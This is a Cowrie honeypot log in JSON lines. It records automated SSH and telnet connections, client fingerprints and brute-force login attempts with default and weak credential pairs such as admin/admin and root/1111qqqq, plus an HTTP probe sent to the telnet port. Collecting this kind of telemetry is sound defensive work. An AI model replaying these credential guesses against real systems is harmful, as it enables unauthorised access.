{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:04.900486Z","src_ip":"77.94.47.83","session":"aaf0d2676e82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kosmos","message":"login attempt [root/kosmos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:05.290286Z","src_ip":"77.94.47.83","session":"aaf0d2676e82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:06.422860Z","src_ip":"77.94.47.83","session":"aaf0d2676e82","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:18.599399Z","src_ip":"185.207.250.100","session":"5908dde1da4f","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:18.637051Z","src_ip":"185.207.250.100","session":"5908dde1da4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.2.226","src_port":48102,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a5db2369368","protocol":"ssh","message":"New connection: 43.156.2.226:48102 (159.203.135.109:22) [session: 4a5db2369368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:22.444038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:22.448792Z","src_ip":"43.156.2.226","session":"4a5db2369368","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:22.686801Z","src_ip":"43.156.2.226","session":"4a5db2369368","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student5","password":"student5","message":"login attempt [student5/student5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:23.669368Z","src_ip":"43.156.2.226","session":"4a5db2369368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:24.911382Z","src_ip":"43.156.2.226","session":"4a5db2369368","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":55396,"dst_ip":"10.17.0.5","dst_port":22,"session":"da2266b7d780","protocol":"ssh","message":"New connection: 103.149.170.125:55396 (10.17.0.5:22) [session: da2266b7d780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:31.135843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:31.140858Z","src_ip":"103.149.170.125","session":"da2266b7d780","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:31.400633Z","src_ip":"103.149.170.125","session":"da2266b7d780","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thomas","message":"login attempt [root/thomas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:32.183121Z","src_ip":"103.149.170.125","session":"da2266b7d780","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:33.445560Z","src_ip":"103.149.170.125","session":"da2266b7d780","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.149.92.45","src_port":33536,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d912b808595","protocol":"telnet","message":"New connection: 183.149.92.45:33536 (10.17.0.5:23) [session: 8d912b808595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:45.634094Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":39054,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c1061669086","protocol":"ssh","message":"New connection: 103.77.242.62:39054 (159.203.135.109:22) [session: 6c1061669086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:46.727729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:46.732654Z","src_ip":"103.77.242.62","session":"6c1061669086","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:46.973634Z","src_ip":"103.77.242.62","session":"6c1061669086","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yfcntyf","message":"login attempt [root/yfcntyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:47.696526Z","src_ip":"103.77.242.62","session":"6c1061669086","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:48.940260Z","src_ip":"103.77.242.62","session":"6c1061669086","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":38032,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfb76ba8a1c3","protocol":"ssh","message":"New connection: 194.113.233.25:38032 (159.203.135.109:22) [session: bfb76ba8a1c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:50.294840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:50.298670Z","src_ip":"194.113.233.25","session":"bfb76ba8a1c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:50.391009Z","src_ip":"194.113.233.25","session":"bfb76ba8a1c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"reebok","message":"login attempt [root/reebok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:50.659856Z","src_ip":"194.113.233.25","session":"bfb76ba8a1c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:51.751551Z","src_ip":"194.113.233.25","session":"bfb76ba8a1c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.777344942092896,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:58.411310Z","src_ip":"183.149.92.45","session":"8d912b808595","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":3016,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab862cbc7519","protocol":"telnet","message":"New connection: 35.187.190.159:3016 (10.17.0.5:23) [session: ab862cbc7519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:59.593188Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":3030,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2ad90f8d375","protocol":"telnet","message":"New connection: 35.187.190.159:3030 (10.17.0.5:23) [session: f2ad90f8d375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:59.748326Z"}
{"eventid":"cowrie.session.closed","duration":0.005033254623413086,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:59.753233Z","src_ip":"35.187.190.159","session":"f2ad90f8d375","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":3034,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf88871648a3","protocol":"telnet","message":"New connection: 35.187.190.159:3034 (10.17.0.5:23) [session: bf88871648a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:59.903792Z"}
{"eventid":"cowrie.session.closed","duration":4.78745436668396,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:04.380548Z","src_ip":"35.187.190.159","session":"ab862cbc7519","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.234.27","src_port":43460,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb2db624530b","protocol":"ssh","message":"New connection: 69.6.234.27:43460 (159.203.135.109:22) [session: eb2db624530b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:04.939739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:04.949411Z","src_ip":"69.6.234.27","session":"eb2db624530b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:05.022785Z","src_ip":"69.6.234.27","session":"eb2db624530b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam1234","message":"login attempt [sam/sam1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:05.346780Z","src_ip":"69.6.234.27","session":"eb2db624530b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:06.423934Z","src_ip":"69.6.234.27","session":"eb2db624530b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":42208,"dst_ip":"10.17.0.5","dst_port":22,"session":"747eb7febdd1","protocol":"ssh","message":"New connection: 37.233.85.71:42208 (10.17.0.5:22) [session: 747eb7febdd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:12.374246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:12.381677Z","src_ip":"37.233.85.71","session":"747eb7febdd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:12.487131Z","src_ip":"37.233.85.71","session":"747eb7febdd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111qqqq","message":"login attempt [root/1111qqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:12.799972Z","src_ip":"37.233.85.71","session":"747eb7febdd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:13.929867Z","src_ip":"37.233.85.71","session":"747eb7febdd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":58540,"dst_ip":"10.17.0.5","dst_port":22,"session":"30c5abe7a727","protocol":"ssh","message":"New connection: 103.172.78.219:58540 (10.17.0.5:22) [session: 30c5abe7a727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:18.815775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:18.819382Z","src_ip":"103.172.78.219","session":"30c5abe7a727","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.190.159","src_port":37886,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8dab4226500","protocol":"telnet","message":"New connection: 35.187.190.159:37886 (10.17.0.5:23) [session: a8dab4226500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:19.059824Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:19.065317Z","src_ip":"35.187.190.159","session":"a8dab4226500","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:19.069265Z","src_ip":"35.187.190.159","session":"a8dab4226500","protocol":"telnet"}
